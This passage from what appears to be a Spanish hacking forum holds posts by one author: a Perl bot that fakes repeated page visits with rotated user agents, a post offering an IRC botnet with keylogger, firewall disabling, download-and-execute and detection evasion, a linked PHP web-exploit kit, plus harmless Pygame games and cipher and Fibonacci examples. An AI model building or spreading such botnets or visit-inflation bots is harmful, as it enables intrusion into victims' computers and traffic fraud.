            my $target = $paginas[ rand(@paginas) ];
            chomp $target;
            print "\n--------------------------------------------------";
            print "\n[+] Page : " . $target . "\n";
            print "[+] Timeout : " . $timeout . "\n";
            print "--------------------------------------------------";

            print "\n\n[+] Getting information ...\n\n";

            print toma_banner($target) . "\n";

            my ( $status, $control ) = toma_response($target);

            if ( $control eq "1" ) {
                $total_bueno++;
            }
            else {
                $total_malo++;
            }

            print "\n[+] Visit $_ : $target : " . $status . "\n";

            sleep($timeout);

        }

        print "\n[+] Successful Visits : " . $total_bueno . "\n";

        print "\n" . toma_fecha_y_hora("Finished");

    }

    sub visitar {

        my ( $page, $timeout, $count, $type ) = @_;

        print "\n\n[+] Getting information ...\n\n";

        print toma_banner($page);

        if ( $type eq "single" ) {
            print "\n\n" . toma_fecha_y_hora("Started") . "\n";
        }
        else {
            print "\n\n" . "[+] Working ..." . "\n\n";
        }

        my $total_bueno = "";
        my $total_malo  = "";

        for ( 1 .. $count ) {

            sleep($timeout);

            my ( $status, $control ) = toma_response($page);

            if ( $control eq "1" ) {
                $total_bueno++;
            }
            else {
                $total_malo++;
            }

            syswrite STDOUT, "[+] Visit $_ : $page : " . $status . "\r";

        }

        syswrite STDOUT,
          "[+] Successful Visits : " . $total_bueno . "\t\t\t\t\t\t\t\t\t\t\r";

        if ( $type eq "single" ) {
            print "\n" . toma_fecha_y_hora("Finished");
        }
        else {
            print "\n" . "[+] Finished\n";
        }

    }

    sub toma_response {
        my $control = "";
        my $nave    = LWP::UserAgent->new();
        $nave->agent( $agents[ rand @agents ] );
        $nave->timeout(5);
        my $code = $nave->get( $_[0] );
        if ( $code->is_success ) {
            $control = "1";
        }
        else {
            $control = "0";
        }
        my $status = $code->status_line();
        return ( $status, $control );
    }

    sub toma_banner {
        my $resultado = "";
        my $nave      = LWP::UserAgent->new();
        $nave->agent( $agents[ rand @agents ] );
        $nave->timeout(5);
        my $code = $nave->get( $_[0] );
        $resultado = $resultado
          . "--------------------------------------------------------------------------";
        $resultado = $resultado . "\n[+] IP : " . get_ip( $_[0] );
        $resultado = $resultado . "\n[+] Date : " . $code->header('date');
        $resultado = $resultado . "\n[+] Server : " . $code->header('server');
        $resultado =
          $resultado . "\n[+] Connection : " . $code->header('connection');
        $resultado =
          $resultado . "\n[+] Content-Type : " . $code->header('content-type');

        if ( $code->header("Set-Cookie") ne "" ) {
            $resultado =
              $resultado . "\n[+] Cookie : " . $code->header("Set-Cookie");
        }
        $resultado = $resultado
          . "\n--------------------------------------------------------------------------";
        return $resultado;
    }

    sub get_ip {
        my ( $nomesirve1, $host, $nomesirve2, $nomesirve3, $nomesirve4 ) =
          uri_split( $_[0] );
        my $get = gethostbyname($host);
        return inet_ntoa($get);
    }

    sub toma_fecha_y_hora {

        my (
            $segundos, $minutos,    $hora,       $dia, $mes,
            $año,     $nomesirve1, $nomesirve2, $nomesirve3
        ) = localtime(time);

        $año += 1900;
        $mes++;

        return "[+] $_[0] Time : " . "$dia/$mes/$año $hora:$minutos:$segundos\n";

    }

    sub repes {
        my @limpio;
        foreach $test (@_) {
            push @limpio, $test unless $repe{$test}++;
        }
        return @limpio;
    }

    sub leer_archivo {
        my @r;
        my @words;
        open( FILE, $_[0] );
        @words = <FILE>;
        close FILE;
        for (@words) {
            push( @r, $_ );
        }
        return (@r);
    }

    #The End ?


    Un ejemplo de uso :



    C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl

    -- == DH ViewBot 0.2 == --

    [+] Options :

    -single : Page to visit
    -file : File with pages to visit
    -randomfile : File with pages to visit as random
    -timeout : Time for visit
    -count : Count to visist

    [+] Example : perl C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBo
    t\view.pl -single http://www.supertangas.com/index.php -timeout 5 -count 50

    -- == (C) Doddy Hackman 2015 == --

    C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl -single h
    ttp://www.petardas.com/index.php -timeout 5 -count 5

    -- == DH ViewBot 0.2 == --

    [+] Configuration

    --------------------------------------------------
    [+] Page : http://www.petardas.com/index.php
    [+] Timeout : 5
    [+] Visit Count  : 5
    --------------------------------------------------

    [+] Getting information ...

    --------------------------------------------------------------------------
    [+] IP : 5.135.178.142
    [+] Date : Fri, 2 Jan 2015 16:44:10 GMT
    [+] Server : Apache/2.2.3 (CentOS)
    [+] Connection : close
    [+] Content-Type : text/html; charset=latin1
    [+] Cookie : pais=AR; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; domain=www.
    petardas.com, cookieconsent=1; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; do
    main=www.petardas.com, esmovil=0; expires=Mon, 2-Jan-2015 00:17:30 GMT; path=/;
    domain=www.petardas.com
    --------------------------------------------------------------------------

    [+] Started Time : 2/1/2015 13:44:31

    [+] Successful Visits : 5

    [+] Finished Time : 2/1/2015 13:45:2

    -- == (C) Doddy Hackman 2015 == --

#84
PHP / [PHP] DH Labs 0.1
9 Enero 2015, 17:14 PM
Les dejo esta recopilacion de codigos php que uso para hacer exploits y programas orientados a la seguridad web.

Las funciones que tiene son :

  • Blind SQL Injection
  • ByPass Login
  • ByPass Uploader
  • Cross Site Request Forgery
  • Eval injection
  • Full Source Discloure
  • Headers Injection
  • HTML Injection
  • Insecure Cookie Handling
  • Local File Inclusion
  • Listado de directorios
  • Remote Command Execution
  • Remote File Inclusion
  • SQL Injection
  • XSS

    Una imagen :



    Si lo quieren bajar lo pueden hacer de aca.
#85
Scripting / [Python-Pygame] E.T Must Die 0.3
1 Enero 2015, 15:46 PM
Un simple shooter que hice en Python usando Pygame , el juego consiste en eliminar la amenaza de E.T antes de que escape de nuestro planeta.
Es un juego raro pero me sirvio para estudiar el tema de programacion de juegos en Python xD.

Una imagen :



Un video de como se juega :

[youtube=640,360]https://www.youtube.com/watch?v=4IDdJbHybXM[/youtube]

El codigo :

Código (python) [Seleccionar]

#!usr/bin/python
#E.T Must Die 0.3
#(C) Doddy Hackman 2015
#Credits : Based on Bush Shootout.py Coded by Nathaniel
#Thanks to Nathaniel

import pygame
from pygame.locals import *
import sys,random,time

pygame.init()

juego = pygame.display.set_mode((860,640))
pygame.display.set_caption("E.T Must Die 0.3")
icono = pygame.image.load("Data/Images/icono.png").convert_alpha()      
pygame.display.set_icon(icono)
pygame.mouse.set_visible(False)

letra = pygame.font.Font(None,35)

vida = 200
control = False

class mira(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.mira = pygame.image.load("Data/Images/mira.png")
self.rect = self.mira.get_rect()
self.rect.x = 860/2
self.rect.y = 640/2
def mover(self):
posicion = pygame.mouse.get_pos()
self.rect.x = posicion[0]
self.rect.y = posicion[1]
juego.blit(self.mira,self.rect)
def lanzar(self):
yeah = pygame.sprite.spritecollide(self,lista,dokill=False)
if yeah:

global vida
vida = vida - 10
pygame.mixer.Sound("Data/Sounds/risa2.wav").play()

class threat(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.imagen = pygame.image.load("Data/Images/avatar.png")
self.rect = self.imagen.get_rect()
self.tiempo = 15
self.contador = int(self.tiempo)
def mover(self):
self.contador += 1
if self.contador >= self.tiempo:
self.rect.x = random.randrange(20,850)
self.rect.y = random.randrange(30,540)
self.contador = 0
juego.blit(self.imagen,self.rect)


pygame.mixer.Sound("Data/Sounds/menu.wav").play()
men = pygame.image.load("Data/Images/portada.png")
juego.blit(men,(0,0))
pygame.display.update()
time.sleep(9)

pygame.mixer.init()
pygame.mixer.music.load("Data/Sounds/theme.mp3")
pygame.mixer.music.play()

mira = mira()
threat = threat()

lista = pygame.sprite.Group()
lista.add(threat)

cro = pygame.time.Clock()
mil = 0

while True:

       mil += cro.tick()
       casi = mil/1000
       casi = 30 - casi

if casi < 1:
control = True

for acatoy in pygame.event.get():
               
if acatoy.type == QUIT:
sys.exit(1)

if acatoy.type == MOUSEBUTTONDOWN and acatoy.button == 1:
pygame.mixer.Sound("Data/Sounds/disparo.wav").play()
mira.lanzar()

if not control:

fondo = pygame.image.load("Data/Images/fondo.jpg")
juego.blit(fondo,(0,0))
juego.blit(letra.render("Remaining Time : "+str(casi),True,(255,0,0)),(20,10))
juego.blit(letra.render("Threat "+str(vida),True,(255,0,0)),(700,10))
mira.mover()
threat.mover()

if vida == 0:
over = pygame.image.load("Data/Images/ganaste.png")
juego.blit(over,(0,0))
pygame.display.update()
time.sleep(10)
sys.exit(1)

else:
over = pygame.image.load("Data/Images/perdiste.png")
juego.blit(over,(0,0))
pygame.display.update()
pygame.mixer.Sound("Data/Sounds/risa.wav").play()
time.sleep(10)
sys.exit(1)

pygame.time.delay(15)
pygame.display.flip()

#The End ?



Si quieren bajar el juego lo pueden hacer de aca.
#86
Como regalo de navidad les traigo una IRC Botnet que hice en Delphi con la siguientes opciones :

  • Ejecutar comandos
  • Listar procesos activos
  • Cerrar procesos
  • Listar archivo de un directorio
  • Borrar archivos y directorios
  • Leer archivos
  • Abrir y cerrar la lectora
  • Mostrar y ocultar iconos
  • Mostrar y ocultar taskbar
  • Enviar pulsaciones de teclado con SendKeys
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla
  • Listar Drives
  • Listar servicios
  • Listar ventanas de windows abiertas
  • Activar o desactivar el firewall
  • Apagar,cerrar sesion y reiniciar computadora
  • Mostrar mensajitos en la pantalla
  • Abrir paginas en el navegador
  • Cargar paint
  • Activar y desactivar Regedit
  • Cambiar el texto de la barra de tareas por la palabra que quieran
  • Descargar y ejecutar archivos
  • Ver la IP del infectado
  • Keylogger incorporado

    El Builder incorpora las siguientes opciones :

  • Se puede escoger la configuracion del servidor IRC a usar , configurar el keylogger y la carpeta en la que se esconde el server
  • Se puede cambiar la extension y el icono del server
  • Podes detectar los nuevos infectados que ingresan al canal con mensajes de alerta por parte del programa cuando se este minimizado
  • El stub y el bot de control hablan cada cierto tiempo para evitar ser vistos como bot

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=3TUN9_rq2sE[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#87
nunca estas llamando a la funcion information_extract() , te deberia quedar asi :

Código (python) [Seleccionar]
def information_extract():
comando = "systeminfo"
abrir = os.popen(comando)
datos = "tubo.readlines()"
nombre_pc = datos [1].split(" ")[-1].split("\n")[0]
nombre_fichero = "informacion: "+nombre_pc+".txt"
fichero = open(nombre_fichero, "W")
fichero.writelines(datos)
fichero.close()
return nombre_fichero

information_extract()



#88
Scripting / [Python-Pygame] Cruel Hangman 0.2
19 Diciembre 2014, 15:02 PM
Un simple ahorcado que hice en python usando Pygame , el juego es una  parodia del capitulo llamado "Chef se volvio loco" de South Park , es solo una parodia de ese capitulo no se lo vayan a tomar en serio.

Una imagen :



El codigo :

Código (python) [Seleccionar]

#!usr/bin/python
#Cruel Hangman 0.2
#(C) Doddy Hackman 2014

import pygame,sys,time,random
from pygame.locals import *

test1 = ""
test2 = ""
test3 = ""
test4 = ""
test5 = ""

des1 = "0"
des2 = "0"
des3 = "0"
des4 = "0"
des5 = "0"

gane = "0"
perdi = "0"

repetido = []

oportunidades = 7

def escribir_fuente(texto,x,y):
cargando_fuente = pygame.font.SysFont(None, 40)
tipo_fuente = cargando_fuente.render(texto, True, (255, 0, 0))
posicion = tipo_fuente.get_rect()
posicion.centerx = x
posicion.centery = y
screen.blit(tipo_fuente,posicion)

def actualizar(letra,letra1,letra2,letra3,letra4,letra5):

  global oportunidades
 
  if letra=="inicio":

   test1 = ""
   test2 = ""
   test3 = ""
   test4 = ""
   test5 = ""

   des1 = "0"
   des2 = "0"
   des3 = "0"
   des4 = "0"
   des5 = "0"

   gane = "0"
   perdi = "0"
   
   oportunidades = 7
   
   global repetido
   
   repetido = []
     
   over = pygame.image.load("Data/Images/logoinicio.png")
   screen.blit(over,(0,0))
   
   escribir_fuente("_",300,570)
   escribir_fuente("_",350,570)
   escribir_fuente("_",400,570)
   escribir_fuente("_",450,570)
   escribir_fuente("_",500,570)
   
   escribir_fuente("",300,560)
   escribir_fuente("",350,560)
   escribir_fuente("",400,560)
   escribir_fuente("",450,560)
   escribir_fuente("",500,560)
     
   pygame.display.update()
   
  else:


   if oportunidades==7:
    over = pygame.image.load("Data/Images/logoinicio.png")
    screen.blit(over,(0,0))
       
   global test1
   global test2
   global test3
   global test4
   global test5
   
   global des1
   global des2
   global des3
   global des4
   global des5
   
   global gane
   global perdi
   
   control = 0
   
   if letra==letra1:
    test1 = letra
    if des1 == "0":
     des1 = "1"
     control = 1

   if letra==letra2:
    test2 = letra
    if des2 == "0":
des2 = "1"
control = 1
   
   if letra==letra3:
    test3 = letra
    if des3 == "0":
des3 = "1"
control = 1
   
   if letra==letra4:
    test4 = letra
    if des4 == "0":
des4 = "1"
control = 1
   
   if letra==letra5:
    test5 = letra
    if des5 == "0":
des5 = "1"
control = 1

   if des1=="1" and des2=="1" and des3=="1" and des4=="1" and des5=="1":
oportunidades = 7
pygame.mixer.Sound("Data/Sounds/ohh.ogg").play()
escribir_fuente("You Win",680,50)
escribir_fuente("Press Enter to continue",680,90)
gane = "1"
pygame.display.update()

   if control==1:
    repetido.append(letra)
    pygame.mixer.Sound("Data/Sounds/bien.ogg").play()
   else:
if not letra in repetido:
oportunidades = oportunidades - 1 
pygame.mixer.Sound("Data/Sounds/mal.ogg").play()

   if oportunidades==6:
    over = pygame.image.load("Data/Images/logocabeza.png")
    screen.blit(over,(0,0))

   if oportunidades==5:
    over = pygame.image.load("Data/Images/logopalo.png")
    screen.blit(over,(0,0))
   
   if oportunidades==4:
    over = pygame.image.load("Data/Images/logobrazo1.png")
    screen.blit(over,(0,0))   
     
   if oportunidades==3:
    over = pygame.image.load("Data/Images/logobrazo2.png")
    screen.blit(over,(0,0))
     
   if oportunidades==2:
    over = pygame.image.load("Data/Images/logopierna1.png")
    screen.blit(over,(0,0))
   
   if oportunidades==1:
    over = pygame.image.load("Data/Images/final.png")
    screen.blit(over,(0,0))
    pygame.mixer.Sound("Data/Sounds/festejo.ogg").play()
    escribir_fuente("You Lost",680,50)
    escribir_fuente("Press Enter to continue",680,90)
    perdi = "1"
    test1 = letra1
    test2 = letra2
    test3 = letra3
    test4 = letra4
    test5 = letra5
       
   escribir_fuente("_",300,570)
   escribir_fuente("_",350,570)
   escribir_fuente("_",400,570)
   escribir_fuente("_",450,570)
   escribir_fuente("_",500,570)
   
   escribir_fuente(test1,300,560)
   escribir_fuente(test2,350,560)
   escribir_fuente(test3,400,560)
   escribir_fuente(test4,450,560)
   escribir_fuente(test5,500,560)
   
   pygame.display.update()
   

screen = pygame.display.set_mode((860,640),0,32)

icono = pygame.image.load("Data/Images/icono.png").convert_alpha()       
pygame.display.set_icon(icono)
pygame.display.set_caption("Cruel Hangman 0.2 (C) Doddy Hackman 2014")

pygame.init()

pygame.mixer.Sound("Data/Sounds/menu.wav").play()
men = pygame.image.load("Data/Images/logohangman.png")
screen.blit(men,(0,0))
pygame.display.update()
time.sleep(9)

def game():

#palabras = ["pizza","agrio"]
palabras =

["andar","banco","cazar","clave","etapa","oasis","parte","saber","socio","u

sado","ronca","boxeo","pizza","groso","fallo","acera","acoso","agrio","ansi

a","gnomo","gordo","pieza"]

palabra = random.choice(palabras)

letra1 = palabra[0]
letra2 = palabra[1]
letra3 = palabra[2]
letra4 = palabra[3]
letra5 = palabra[4]

actualizar("inicio",letra1,letra2,letra3,letra4,letra5)

pygame.mixer.init()
pygame.mixer.music.load("Data/Sounds/theme.mp3")
pygame.mixer.music.play()


while True:
  for eventos in pygame.event.get():
   if eventos.type == QUIT:
    sys.exit(0)


   if (eventos.type == pygame.KEYDOWN) and (eventos.key ==

pygame.K_RETURN):
    if gane=="1" or perdi=="1":
    game()

   if eventos.type==KEYDOWN :
    if eventos.unicode.lower() in ("abcdefghijklmnopqrstuvwxyz"):
     actualizar(eventos.unicode,letra1,letra2,letra3,letra4,letra5)
   
game()

# The End ?



Si quieren bajar el juego lo pueden hacer de

aca.
#89
Scripting / [Perl] Ejemplo de Cifrado Vigenere
13 Diciembre 2014, 15:23 PM
Un simple ejemplo del cifrado Vigenere que hice usando un modulo que encontre en cpan.

El codigo :

Código (perl) [Seleccionar]

# !usr/bin/perl
# Vigenere Cipher
# Coded By Doddy Hackman in the year 2014

use Crypt::Vigenere;

head();
menu();
copyright();

# Functions

sub head {
   print "\n-- == Vigenere Cipher == --\n";
}

sub copyright {
   print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
   print qq(
===============
= Menu        =
===============
1 - Encode    =
2 - Decode    =
3 - Exit      =
===============
);

   print "\n[+] Option : ";
   chomp( my $op = <stdin> );

   if ( $op eq "3" ) {
       copyright();
       <stdin>;
       exit(1);
   }

   print "\n[+] Enter text : ";
   chomp( my $text = <stdin> );

   print "\n[+] Enter Key : ";
   chomp( my $key = <stdin> );

   print "\n[+] Result ...\n\n";

   $tool = Crypt::Vigenere->new($key);

   if ( $op eq "1" ) {
       print $tool->encodeMessage($text);
       <stdin>;
       menu();
   }
   elsif ( $op eq "2" ) {
       print $tool->decodeMessage($text);
       <stdin>;
       menu();
   }
   else {
       menu();
   }

}

# The End ?


Eso es todo.
#90
Scripting / [Perl] Ejemplo de Sucesion Fibonacci
5 Diciembre 2014, 15:04 PM
Un simple ejemplo de la Sucesion Fibonacci en Perl.

El codigo :

Código (perl) [Seleccionar]

# !usr/bin/perl
# Sucesion Fibonacci
# Coded By Doddy Hackman in the year 2014

head();

print "\n\n[+] Enter count : ";
chomp( my $cantidad = <stdin> );

print "\n";

my ( $uno, $dos ) = ( "0", "1" );

for my $num ( 0 .. $cantidad ) {
    print "[+] : " . $uno . "\n";
    my $final = $uno + $dos;
    $uno = $dos;
    $dos = $final;
}

copyright();
<stdin>;
exit(1);

# Functions

sub head {
    print "\n-- == Fibonacci Sequence == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

# The End ?